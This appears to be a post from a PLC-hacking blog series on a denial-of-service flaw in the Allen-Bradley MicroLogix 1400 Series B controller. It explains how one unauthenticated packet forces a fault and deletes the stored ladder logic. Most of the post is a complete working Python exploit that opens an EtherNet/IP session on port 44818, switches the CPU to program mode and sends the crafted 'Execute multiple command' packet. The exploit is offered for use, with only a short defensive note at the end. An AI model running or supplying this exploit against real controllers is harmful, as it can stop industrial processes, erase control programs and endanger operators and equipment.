Today, we’ll explore a program routine DoS attack ( denial of service) vulnerability in the Allen-Bradley Micrologix 1400 Series B, specifically affecting firmware version 21.2 and earlier.
When a new program is downloaded to the PLC, it follows a specific routine to secure editing rights. If errors occur during this process, the PLC enters a fault state. By sending the ‘Execute Command List’ packet without the required ‘Download Complete’ packet, the PLC can be forced to stay in the download state for one minute before switching to a fault state.
cause fault state & delete ladder logic program from PLC memory—all triggered by sending unauthenticated packet.
What is denial of service (DoS) attack ?
A Denial of Service (DoS) attack is like overloading a device or network with too much data or the wrong kind of data, making it stop working properly. In the case of a PLC, this can cause the system to reboot or enter an error state, disrupting the normal operations and potentially causing loss of important settings or programs. It’s a simple but effective way for attackers to cause serious trouble without needing direct access to the device.
Objective
we’ve got key objectives:
- identification of program routine
- sending incomplete packet
In this post, we will go though remotely break the existing connection b/w PLC & SCADA through program routine DoS.
MicroLogix 1400 PLC: Device under test
The micrologix 1400 PLC @Allen-Bradley are critical in many industries.
Identified Vulnerability: program routine DoS
Vulnerability Overview
This issue involves how the PLC deals with packets sent over its Ethernet port (44818/TCP). we can exploit this by sending a specially crafted packet that causes a denial of service. It affects the program download function of the device.
By sending an ‘Execute Command List’ packet (CMD 0x0F, FNC 0x88) without the ‘Download Complete’ packet (CMD 0x0F, FNC 0x52), the device treats this as a failure. This leads the device to enter a fault mode, stopping normal operations and deleting all stored logic.
This means the PLC can be easily knocked offline and lose its program, which can cause major disruptions in industrial environment where it is critical.
Program routine:
In our case, we are sending only execute command list packet. no other.
Attack Scenario
Exploiting this vulnerability is straightforward. By sending a single unauthenticated packet containing the right command sequence, we can force the PLC into a fault state.
Impact on PLC
This vulnerability highlights the risk of improperly improper handling of industrial control system networks. Since this issue is related to how the PLC processes download commands.
Python POC & Exploit Development: DoS attack
Now I am explaining only important function. refer to previous phases of exploit dev. For detail, refer Exploit development 4.
The script establishes a TCP connection to a PLC (Programmable Logic Controller) and interacts with it using the EtherNet/IP protocol. Here’s a breakdown of its functionality:
- Session Registration:
- Purpose: Establishes a communication session with the PLC.
- Process: Sends a registration request to the PLC, receives a session handle in response, which is needed for further communication.
- Instruction Building:
- Purpose: Prepares and structures the instructions to be sent to the PLC.
- Process: Constructs a payload that includes the encapsulation header, command-specific data, and Common Industrial Protocol (CIP) information. This payload is tailored based on the specific command and function required.
- Sending Instructions:
- Purpose: Sends the constructed instructions to the PLC and receives responses.
- Process: Uses the established session to send commands such as changing the PLC’s CPU mode and executing multiple commands. It handles the communication with the PLC and processes the responses received.
- Programming the PLC:
- Purpose: Executes a series of commands to change the PLC’s mode and perform specific operations.
- Process: Sends commands to switch the PLC to remote programming mode and then executes multiple commands, as specified by the instructions.
Overall, the script sets up a session with the PLC, sends instructions to control and program it, and handles the communication protocol to interact with the PLC effectively.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
import socket import binascii import random import time # Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): return hex_str.zfill(size) # Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) # Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) # Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload # Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print("\n\n PCCC Command Data : " + str(instruction_elements) + "\n\n Complete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '#' * 150) time.sleep(1) return return_response # Programs the PLC by sending a series of instructions to change CPU mode, execute commands, get edit resources, and more. def program_register(session_handle): Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} # function code 0x80 is responsible to change CPU mode. data 0x01 is to change [Remote RUN -> Remote Prog] Execute_multiple_command = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\xf8\xa1\x01\x56"} # function 0x88 means Execute multiple # Send instructions to the PLC print "\n\nChanging PLC CPU to RUN mode :" send_instruction(Change_CPU_mode, session_handle) # Changing CPU to REMOTE PROG print "\n\nExecuting multiple command :" send_instruction(Execute_multiple_command, session_handle) # Executing Multiple commands and PLC in Download mode PLC = '192.168.0.102' PORT = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((PLC, PORT)) session_handle = Register_Session() program_register(session_handle) sock.close() |
POC Demo: DoS attack on plc
As shown in the video, we’re able to break connection by DoS which make the PLC go to communication lost state.
Conclusion
This vulnerability highlights the need for strong network security. Users of the Allen-Bradley Micrologix 1400 Series B should review and improve their network defenses to reduce risks. Securing network ports and adding extra protection can help prevent disruptions and keep your PLC systems reliable.
Thank you for reading. Stay tuned for more insights and practical applications in PLC security!
<—Prev
Exploit # 17: ethernet DoS attack PLC
Next —->
Exploit # 19: ……..